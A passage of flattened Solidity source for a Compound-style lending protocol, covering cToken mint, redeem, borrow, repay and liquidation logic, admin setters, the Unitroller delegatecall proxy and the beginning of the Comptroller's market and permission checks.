(vars.mathErr, vars.totalReservesNew) = mulScalarTruncateAddUInt(Exp({mantissa: reserveFactorMantissa}), vars.interestAccumulated, totalReserves);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_TOTAL_RESERVES_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.borrowIndexNew) = mulScalarTruncateAddUInt(vars.simpleInterestFactor, borrowIndex, borrowIndex);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.ACCRUE_INTEREST_NEW_BORROW_INDEX_CALCULATION_FAILED, uint(vars.mathErr));
}
accrualBlockNumber = vars.currentBlockNumber;
borrowIndex = vars.borrowIndexNew;
totalBorrows = vars.totalBorrowsNew;
totalReserves = vars.totalReservesNew;
emit AccrueInterest(vars.interestAccumulated, vars.borrowIndexNew, totalBorrows);
return uint(Error.NO_ERROR);
}
function mintInternal(uint mintAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.MINT_ACCRUE_INTEREST_FAILED);
}
return mintFresh(msg.sender, mintAmount);
}
struct MintLocalVars {
Error err;
MathError mathErr;
uint exchangeRateMantissa;
uint mintTokens;
uint totalSupplyNew;
uint accountTokensNew;
}
function mintFresh(address minter, uint mintAmount) internal returns (uint) {
uint allowed = comptroller.mintAllowed(address(this), minter, mintAmount);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.MINT_COMPTROLLER_REJECTION, allowed);
}
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.MINT_FRESHNESS_CHECK);
}
MintLocalVars memory vars;
vars.err = checkTransferIn(minter, mintAmount);
if (vars.err != Error.NO_ERROR) {
return fail(vars.err, FailureInfo.MINT_TRANSFER_IN_NOT_POSSIBLE);
}
(vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.mintTokens) = divScalarByExpTruncate(mintAmount, Exp({mantissa: vars.exchangeRateMantissa}));
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.MINT_EXCHANGE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.totalSupplyNew) = addUInt(totalSupply, vars.mintTokens);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.MINT_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.accountTokensNew) = addUInt(accountTokens[minter], vars.mintTokens);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.MINT_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
vars.err = doTransferIn(minter, mintAmount);
if (vars.err != Error.NO_ERROR) {
return fail(vars.err, FailureInfo.MINT_TRANSFER_IN_FAILED);
}
totalSupply = vars.totalSupplyNew;
accountTokens[minter] = vars.accountTokensNew;
emit Mint(minter, mintAmount, vars.mintTokens);
emit Transfer(address(this), minter, vars.mintTokens);
comptroller.mintVerify(address(this), minter, mintAmount, vars.mintTokens);
return uint(Error.NO_ERROR);
}
function redeemInternal(uint redeemTokens) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
return redeemFresh(msg.sender, redeemTokens, 0);
}
function redeemUnderlyingInternal(uint redeemAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.REDEEM_ACCRUE_INTEREST_FAILED);
}
return redeemFresh(msg.sender, 0, redeemAmount);
}
struct RedeemLocalVars {
Error err;
MathError mathErr;
uint exchangeRateMantissa;
uint redeemTokens;
uint redeemAmount;
uint totalSupplyNew;
uint accountTokensNew;
}
function redeemFresh(address payable redeemer, uint redeemTokensIn, uint redeemAmountIn) internal returns (uint) {
require(redeemTokensIn == 0 || redeemAmountIn == 0, "one of redeemTokensIn or redeemAmountIn must be zero");
RedeemLocalVars memory vars;
(vars.mathErr, vars.exchangeRateMantissa) = exchangeRateStoredInternal();
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_RATE_READ_FAILED, uint(vars.mathErr));
}
if (redeemTokensIn > 0) {
vars.redeemTokens = redeemTokensIn;
(vars.mathErr, vars.redeemAmount) = mulScalarTruncate(Exp({mantissa: vars.exchangeRateMantissa}), redeemTokensIn);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_TOKENS_CALCULATION_FAILED, uint(vars.mathErr));
}
} else {
(vars.mathErr, vars.redeemTokens) = divScalarByExpTruncate(redeemAmountIn, Exp({mantissa: vars.exchangeRateMantissa}));
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_EXCHANGE_AMOUNT_CALCULATION_FAILED, uint(vars.mathErr));
}
vars.redeemAmount = redeemAmountIn;
}
uint allowed = comptroller.redeemAllowed(address(this), redeemer, vars.redeemTokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REDEEM_COMPTROLLER_REJECTION, allowed);
}
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDEEM_FRESHNESS_CHECK);
}
(vars.mathErr, vars.totalSupplyNew) = subUInt(totalSupply, vars.redeemTokens);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_TOTAL_SUPPLY_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.accountTokensNew) = subUInt(accountTokens[redeemer], vars.redeemTokens);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REDEEM_NEW_ACCOUNT_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
if (getCashPrior() < vars.redeemAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDEEM_TRANSFER_OUT_NOT_POSSIBLE);
}
vars.err = doTransferOut(redeemer, vars.redeemAmount);
require(vars.err == Error.NO_ERROR, "redeem transfer out failed");
totalSupply = vars.totalSupplyNew;
accountTokens[redeemer] = vars.accountTokensNew;
emit Transfer(redeemer, address(this), vars.redeemTokens);
emit Redeem(redeemer, vars.redeemAmount, vars.redeemTokens);
comptroller.redeemVerify(address(this), redeemer, vars.redeemAmount, vars.redeemTokens);
return uint(Error.NO_ERROR);
}
function borrowInternal(uint borrowAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.BORROW_ACCRUE_INTEREST_FAILED);
}
return borrowFresh(msg.sender, borrowAmount);
}
struct BorrowLocalVars {
Error err;
MathError mathErr;
uint accountBorrows;
uint accountBorrowsNew;
uint totalBorrowsNew;
}
function borrowFresh(address payable borrower, uint borrowAmount) internal returns (uint) {
uint allowed = comptroller.borrowAllowed(address(this), borrower, borrowAmount);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.BORROW_COMPTROLLER_REJECTION, allowed);
}
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.BORROW_FRESHNESS_CHECK);
}
if (getCashPrior() < borrowAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.BORROW_CASH_NOT_AVAILABLE);
}
BorrowLocalVars memory vars;
(vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.accountBorrowsNew) = addUInt(vars.accountBorrows, borrowAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.totalBorrowsNew) = addUInt(totalBorrows, borrowAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
vars.err = doTransferOut(borrower, borrowAmount);
require(vars.err == Error.NO_ERROR, "borrow transfer out failed");
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
emit Borrow(borrower, borrowAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
comptroller.borrowVerify(address(this), borrower, borrowAmount);
return uint(Error.NO_ERROR);
}
function repayBorrowInternal(uint repayAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.REPAY_BORROW_ACCRUE_INTEREST_FAILED);
}
return repayBorrowFresh(msg.sender, msg.sender, repayAmount);
}
function repayBorrowBehalfInternal(address borrower, uint repayAmount) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.REPAY_BEHALF_ACCRUE_INTEREST_FAILED);
}
return repayBorrowFresh(msg.sender, borrower, repayAmount);
}
struct RepayBorrowLocalVars {
Error err;
MathError mathErr;
uint repayAmount;
uint borrowerIndex;
uint accountBorrows;
uint accountBorrowsNew;
uint totalBorrowsNew;
}
function repayBorrowFresh(address payer, address borrower, uint repayAmount) internal returns (uint) {
uint allowed = comptroller.repayBorrowAllowed(address(this), payer, borrower, repayAmount);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.REPAY_BORROW_COMPTROLLER_REJECTION, allowed);
}
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.REPAY_BORROW_FRESHNESS_CHECK);
}
RepayBorrowLocalVars memory vars;
vars.borrowerIndex = accountBorrows[borrower].interestIndex;
(vars.mathErr, vars.accountBorrows) = borrowBalanceStoredInternal(borrower);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_ACCUMULATED_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
if (repayAmount == uint(-1)) {
vars.repayAmount = vars.accountBorrows;
} else {
vars.repayAmount = repayAmount;
}
vars.err = checkTransferIn(payer, vars.repayAmount);
if (vars.err != Error.NO_ERROR) {
return fail(vars.err, FailureInfo.REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE);
}
(vars.mathErr, vars.accountBorrowsNew) = subUInt(vars.accountBorrows, vars.repayAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_NEW_ACCOUNT_BORROW_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
(vars.mathErr, vars.totalBorrowsNew) = subUInt(totalBorrows, vars.repayAmount);
if (vars.mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.REPAY_BORROW_NEW_TOTAL_BALANCE_CALCULATION_FAILED, uint(vars.mathErr));
}
vars.err = doTransferIn(payer, vars.repayAmount);
require(vars.err == Error.NO_ERROR, "repay borrow transfer in failed");
accountBorrows[borrower].principal = vars.accountBorrowsNew;
accountBorrows[borrower].interestIndex = borrowIndex;
totalBorrows = vars.totalBorrowsNew;
emit RepayBorrow(payer, borrower, vars.repayAmount, vars.accountBorrowsNew, vars.totalBorrowsNew);
comptroller.repayBorrowVerify(address(this), payer, borrower, vars.repayAmount, vars.borrowerIndex);
return uint(Error.NO_ERROR);
}
function liquidateBorrowInternal(address borrower, uint repayAmount, CToken cTokenCollateral) internal nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED);
}
error = cTokenCollateral.accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED);
}
return liquidateBorrowFresh(msg.sender, borrower, repayAmount, cTokenCollateral);
}
function liquidateBorrowFresh(address liquidator, address borrower, uint repayAmount, CToken cTokenCollateral) internal returns (uint) {
uint allowed = comptroller.liquidateBorrowAllowed(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_COMPTROLLER_REJECTION, allowed);
}
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_FRESHNESS_CHECK);
}
if (cTokenCollateral.accrualBlockNumber() != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.LIQUIDATE_COLLATERAL_FRESHNESS_CHECK);
}
if (borrower == liquidator) {
return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_LIQUIDATOR_IS_BORROWER);
}
if (repayAmount == 0) {
return fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_ZERO);
}
if (repayAmount == uint(-1)) {
return fail(Error.INVALID_CLOSE_AMOUNT_REQUESTED, FailureInfo.LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX);
}
(uint amountSeizeError, uint seizeTokens) = comptroller.liquidateCalculateSeizeTokens(address(this), address(cTokenCollateral), repayAmount);
if (amountSeizeError != 0) {
return failOpaque(Error.COMPTROLLER_CALCULATION_ERROR, FailureInfo.LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED, amountSeizeError);
}
if (seizeTokens > cTokenCollateral.balanceOf(borrower)) {
return fail(Error.TOKEN_INSUFFICIENT_BALANCE, FailureInfo.LIQUIDATE_SEIZE_TOO_MUCH);
}
uint repayBorrowError = repayBorrowFresh(liquidator, borrower, repayAmount);
if (repayBorrowError != uint(Error.NO_ERROR)) {
return fail(Error(repayBorrowError), FailureInfo.LIQUIDATE_REPAY_BORROW_FRESH_FAILED);
}
uint seizeError = cTokenCollateral.seize(liquidator, borrower, seizeTokens);
require(seizeError == uint(Error.NO_ERROR), "token seizure failed");
emit LiquidateBorrow(liquidator, borrower, repayAmount, address(cTokenCollateral), seizeTokens);
comptroller.liquidateBorrowVerify(address(this), address(cTokenCollateral), liquidator, borrower, repayAmount, seizeTokens);
return uint(Error.NO_ERROR);
}
function seize(address liquidator, address borrower, uint seizeTokens) external nonReentrant returns (uint) {
uint allowed = comptroller.seizeAllowed(address(this), msg.sender, liquidator, borrower, seizeTokens);
if (allowed != 0) {
return failOpaque(Error.COMPTROLLER_REJECTION, FailureInfo.LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, allowed);
}
if (borrower == liquidator) {
return fail(Error.INVALID_ACCOUNT_PAIR, FailureInfo.LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER);
}
MathError mathErr;
uint borrowerTokensNew;
uint liquidatorTokensNew;
(mathErr, borrowerTokensNew) = subUInt(accountTokens[borrower], seizeTokens);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_DECREMENT_FAILED, uint(mathErr));
}
(mathErr, liquidatorTokensNew) = addUInt(accountTokens[liquidator], seizeTokens);
if (mathErr != MathError.NO_ERROR) {
return failOpaque(Error.MATH_ERROR, FailureInfo.LIQUIDATE_SEIZE_BALANCE_INCREMENT_FAILED, uint(mathErr));
}
accountTokens[borrower] = borrowerTokensNew;
accountTokens[liquidator] = liquidatorTokensNew;
emit Transfer(borrower, liquidator, seizeTokens);
comptroller.seizeVerify(address(this), msg.sender, liquidator, borrower, seizeTokens);
return uint(Error.NO_ERROR);
}
function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
address oldPendingAdmin = pendingAdmin;
pendingAdmin = newPendingAdmin;
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
return uint(Error.NO_ERROR);
}
function _acceptAdmin() external returns (uint) {
if (msg.sender != pendingAdmin || msg.sender == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
}
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
admin = pendingAdmin;
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
return uint(Error.NO_ERROR);
}
function _setComptroller(ComptrollerInterface newComptroller) public returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_COMPTROLLER_OWNER_CHECK);
}
ComptrollerInterface oldComptroller = comptroller;
require(newComptroller.isComptroller(), "marker method returned false");
comptroller = newComptroller;
emit NewComptroller(oldComptroller, newComptroller);
return uint(Error.NO_ERROR);
}
function _setReserveFactor(uint newReserveFactorMantissa) external nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED);
}
return _setReserveFactorFresh(newReserveFactorMantissa);
}
function _setReserveFactorFresh(uint newReserveFactorMantissa) internal returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_RESERVE_FACTOR_ADMIN_CHECK);
}
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_RESERVE_FACTOR_FRESH_CHECK);
}
if (newReserveFactorMantissa > reserveFactorMaxMantissa) {
return fail(Error.BAD_INPUT, FailureInfo.SET_RESERVE_FACTOR_BOUNDS_CHECK);
}
uint oldReserveFactorMantissa = reserveFactorMantissa;
reserveFactorMantissa = newReserveFactorMantissa;
emit NewReserveFactor(oldReserveFactorMantissa, newReserveFactorMantissa);
return uint(Error.NO_ERROR);
}
function _reduceReserves(uint reduceAmount) external nonReentrant returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.REDUCE_RESERVES_ACCRUE_INTEREST_FAILED);
}
return _reduceReservesFresh(reduceAmount);
}
function _reduceReservesFresh(uint reduceAmount) internal returns (uint) {
Error err;
uint totalReservesNew;
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.REDUCE_RESERVES_ADMIN_CHECK);
}
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.REDUCE_RESERVES_FRESH_CHECK);
}
if (getCashPrior() < reduceAmount) {
return fail(Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.REDUCE_RESERVES_CASH_NOT_AVAILABLE);
}
if (reduceAmount > totalReserves) {
return fail(Error.BAD_INPUT, FailureInfo.REDUCE_RESERVES_VALIDATION);
}
totalReservesNew = totalReserves - reduceAmount;
require(totalReservesNew <= totalReserves, "reduce reserves unexpected underflow");
totalReserves = totalReservesNew;
err = doTransferOut(admin, reduceAmount);
require(err == Error.NO_ERROR, "reduce reserves transfer out failed");
emit ReservesReduced(admin, reduceAmount, totalReservesNew);
return uint(Error.NO_ERROR);
}
function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) {
uint error = accrueInterest();
if (error != uint(Error.NO_ERROR)) {
return fail(Error(error), FailureInfo.SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED);
}
return _setInterestRateModelFresh(newInterestRateModel);
}
function _setInterestRateModelFresh(InterestRateModel newInterestRateModel) internal returns (uint) {
InterestRateModel oldInterestRateModel;
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_INTEREST_RATE_MODEL_OWNER_CHECK);
}
if (accrualBlockNumber != getBlockNumber()) {
return fail(Error.MARKET_NOT_FRESH, FailureInfo.SET_INTEREST_RATE_MODEL_FRESH_CHECK);
}
oldInterestRateModel = interestRateModel;
require(newInterestRateModel.isInterestRateModel(), "marker method returned false");
interestRateModel = newInterestRateModel;
emit NewMarketInterestRateModel(oldInterestRateModel, newInterestRateModel);
return uint(Error.NO_ERROR);
}
function getCashPrior() internal view returns (uint);
function checkTransferIn(address from, uint amount) internal view returns (Error);
function doTransferIn(address from, uint amount) internal returns (Error);
function doTransferOut(address payable to, uint amount) internal returns (Error);
}
pragma solidity ^0.5.8;
interface PriceOracle {
function isPriceOracle() external pure returns (bool);
function getUnderlyingPrice(CToken cToken) external view returns (uint);
}
pragma solidity ^0.5.8;
contract UnitrollerAdminStorage {
address public admin;
address public pendingAdmin;
address public comptrollerImplementation;
address public pendingComptrollerImplementation;
}
contract ComptrollerV1Storage is UnitrollerAdminStorage {
PriceOracle public oracle;
uint public closeFactorMantissa;
uint public liquidationIncentiveMantissa;
uint public maxAssets;
mapping(address => CToken[]) public accountAssets;
}
pragma solidity ^0.5.8;
contract Unitroller is UnitrollerAdminStorage, ComptrollerErrorReporter {
event NewPendingImplementation(address oldPendingImplementation, address newPendingImplementation);
event NewImplementation(address oldImplementation, address newImplementation);
event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin);
event NewAdmin(address oldAdmin, address newAdmin);
constructor() public {
admin = msg.sender;
}
function _setPendingImplementation(address newPendingImplementation) public returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_IMPLEMENTATION_OWNER_CHECK);
}
address oldPendingImplementation = pendingComptrollerImplementation;
pendingComptrollerImplementation = newPendingImplementation;
emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation);
return uint(Error.NO_ERROR);
}
function _acceptImplementation() public returns (uint) {
if (msg.sender != pendingComptrollerImplementation || pendingComptrollerImplementation == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK);
}
address oldImplementation = comptrollerImplementation;
address oldPendingImplementation = pendingComptrollerImplementation;
comptrollerImplementation = pendingComptrollerImplementation;
pendingComptrollerImplementation = address(0);
emit NewImplementation(oldImplementation, comptrollerImplementation);
emit NewPendingImplementation(oldPendingImplementation, pendingComptrollerImplementation);
return uint(Error.NO_ERROR);
}
function _setPendingAdmin(address newPendingAdmin) public returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PENDING_ADMIN_OWNER_CHECK);
}
address oldPendingAdmin = pendingAdmin;
pendingAdmin = newPendingAdmin;
emit NewPendingAdmin(oldPendingAdmin, newPendingAdmin);
return uint(Error.NO_ERROR);
}
function _acceptAdmin() public returns (uint) {
if (msg.sender != pendingAdmin || msg.sender == address(0)) {
return fail(Error.UNAUTHORIZED, FailureInfo.ACCEPT_ADMIN_PENDING_ADMIN_CHECK);
}
address oldAdmin = admin;
address oldPendingAdmin = pendingAdmin;
admin = pendingAdmin;
pendingAdmin = address(0);
emit NewAdmin(oldAdmin, admin);
emit NewPendingAdmin(oldPendingAdmin, pendingAdmin);
return uint(Error.NO_ERROR);
}
function () payable external {
(bool success, ) = comptrollerImplementation.delegatecall(msg.data);
assembly {
let free_mem_ptr := mload(0x40)
returndatacopy(free_mem_ptr, 0, returndatasize)
switch success
case 0 { revert(free_mem_ptr, returndatasize) }
default { return(free_mem_ptr, returndatasize) }
}
}
}
pragma solidity ^0.5.8;
contract Comptroller is ComptrollerV1Storage, ComptrollerInterface, ComptrollerErrorReporter, Exponential {
struct Market {
bool isListed;
uint collateralFactorMantissa;
mapping(address => bool) accountMembership;
}
mapping(address => Market) public markets;
event MarketListed(CToken cToken);
event MarketEntered(CToken cToken, address account);
event MarketExited(CToken cToken, address account);
event NewCloseFactor(uint oldCloseFactorMantissa, uint newCloseFactorMantissa);
event NewCollateralFactor(CToken cToken, uint oldCollateralFactorMantissa, uint newCollateralFactorMantissa);
event NewLiquidationIncentive(uint oldLiquidationIncentiveMantissa, uint newLiquidationIncentiveMantissa);
event NewMaxAssets(uint oldMaxAssets, uint newMaxAssets);
event NewPriceOracle(PriceOracle oldPriceOracle, PriceOracle newPriceOracle);
bool public constant isComptroller = true;
uint constant closeFactorMinMantissa = 5e16;
uint constant closeFactorMaxMantissa = 9e17;
uint constant collateralFactorMaxMantissa = 9e17;
uint constant liquidationIncentiveMinMantissa = mantissaOne;
uint constant liquidationIncentiveMaxMantissa = 15e17;
constructor() public {
admin = msg.sender;
}
function getAssetsIn(address account) external view returns (CToken[] memory) {
CToken[] memory assetsIn = accountAssets[account];
return assetsIn;
}
function checkMembership(address account, CToken cToken) external view returns (bool) {
return markets[address(cToken)].accountMembership[account];
}
function enterMarkets(address[] memory cTokens) public returns (uint[] memory) {
uint len = cTokens.length;
uint[] memory results = new uint[](len);
for (uint i = 0; i < len; i++) {
CToken cToken = CToken(cTokens[i]);
Market storage marketToJoin = markets[address(cToken)];
if (!marketToJoin.isListed) {
results[i] = uint(Error.MARKET_NOT_LISTED);
continue;
}
if (marketToJoin.accountMembership[msg.sender] == true) {
results[i] = uint(Error.NO_ERROR);
continue;
}
if (accountAssets[msg.sender].length >= maxAssets) {
results[i] = uint(Error.TOO_MANY_ASSETS);
continue;
}
marketToJoin.accountMembership[msg.sender] = true;
accountAssets[msg.sender].push(cToken);
emit MarketEntered(cToken, msg.sender);
results[i] = uint(Error.NO_ERROR);
}
return results;
}
function exitMarket(address cTokenAddress) external returns (uint) {
CToken cToken = CToken(cTokenAddress);
(uint oErr, uint tokensHeld, uint amountOwed, ) = cToken.getAccountSnapshot(msg.sender);
require(oErr == 0, "exitMarket: getAccountSnapshot failed");
if (amountOwed != 0) {
return fail(Error.NONZERO_BORROW_BALANCE, FailureInfo.EXIT_MARKET_BALANCE_OWED);
}
uint allowed = redeemAllowedInternal(cTokenAddress, msg.sender, tokensHeld);
if (allowed != 0) {
return failOpaque(Error.REJECTION, FailureInfo.EXIT_MARKET_REJECTION, allowed);
}
Market storage marketToExit = markets[address(cToken)];
if (!marketToExit.accountMembership[msg.sender]) {
return uint(Error.NO_ERROR);
}
delete marketToExit.accountMembership[msg.sender];
CToken[] memory userAssetList = accountAssets[msg.sender];
uint len = userAssetList.length;
uint assetIndex = len;
for (uint i = 0; i < len; i++) {
if (userAssetList[i] == cToken) {
assetIndex = i;
break;
}
}
assert(assetIndex < len);
CToken[] storage storedList = accountAssets[msg.sender];
storedList[assetIndex] = storedList[storedList.length - 1];
storedList.length--;
emit MarketExited(cToken, msg.sender);
return uint(Error.NO_ERROR);
}
function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint) {
minter;
mintAmount;
if (!markets[cToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
return uint(Error.NO_ERROR);
}
function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external {
cToken;
minter;
mintAmount;
mintTokens;
if (false) {
maxAssets = maxAssets;
}
}
function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint) {
return redeemAllowedInternal(cToken, redeemer, redeemTokens);
}
function redeemAllowedInternal(address cToken, address redeemer, uint redeemTokens) internal view returns (uint) {
if (!markets[cToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
if (!markets[cToken].accountMembership[redeemer]) {
return uint(Error.NO_ERROR);
}
(Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, CToken(cToken), redeemTokens, 0);
if (err != Error.NO_ERROR) {
return uint(err);
}
if (shortfall > 0) {
return uint(Error.INSUFFICIENT_LIQUIDITY);
}
return uint(Error.NO_ERROR);
}
function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external {
cToken;
redeemer;
redeemAmount;
redeemTokens;
if (false) {
maxAssets = maxAssets;
}
}
function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint) {
if (!markets[cToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
if (!markets[cToken].accountMembership[borrower]) {
return uint(Error.MARKET_NOT_ENTERED);
}
if (oracle.getUnderlyingPrice(CToken(cToken)) == 0) {
return uint(Error.PRICE_ERROR);
}
(Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, CToken(cToken), 0, borrowAmount);
if (err != Error.NO_ERROR) {
return uint(err);
}
if (shortfall > 0) {
return uint(Error.INSUFFICIENT_LIQUIDITY);
}
return uint(Error.NO_ERROR);
}
function borrowVerify(address cToken, address borrower, uint borrowAmount) external {
cToken;
borrower;
borrowAmount;
if (false) {
maxAssets = maxAssets;
}
}
function repayBorrowAllowed(
address cToken,
address payer,
address borrower,
uint repayAmount) external returns (uint) {
payer;
borrower;
repayAmount;
if (!markets[cToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
return uint(Error.NO_ERROR);
}
function repayBorrowVerify(
address cToken,
address payer,
address borrower,
uint repayAmount,
uint borrowerIndex) external {
cToken;
payer;
borrower;
repayAmount;
borrowerIndex;
if (false) {
maxAssets = maxAssets;
}
}
function liquidateBorrowAllowed(
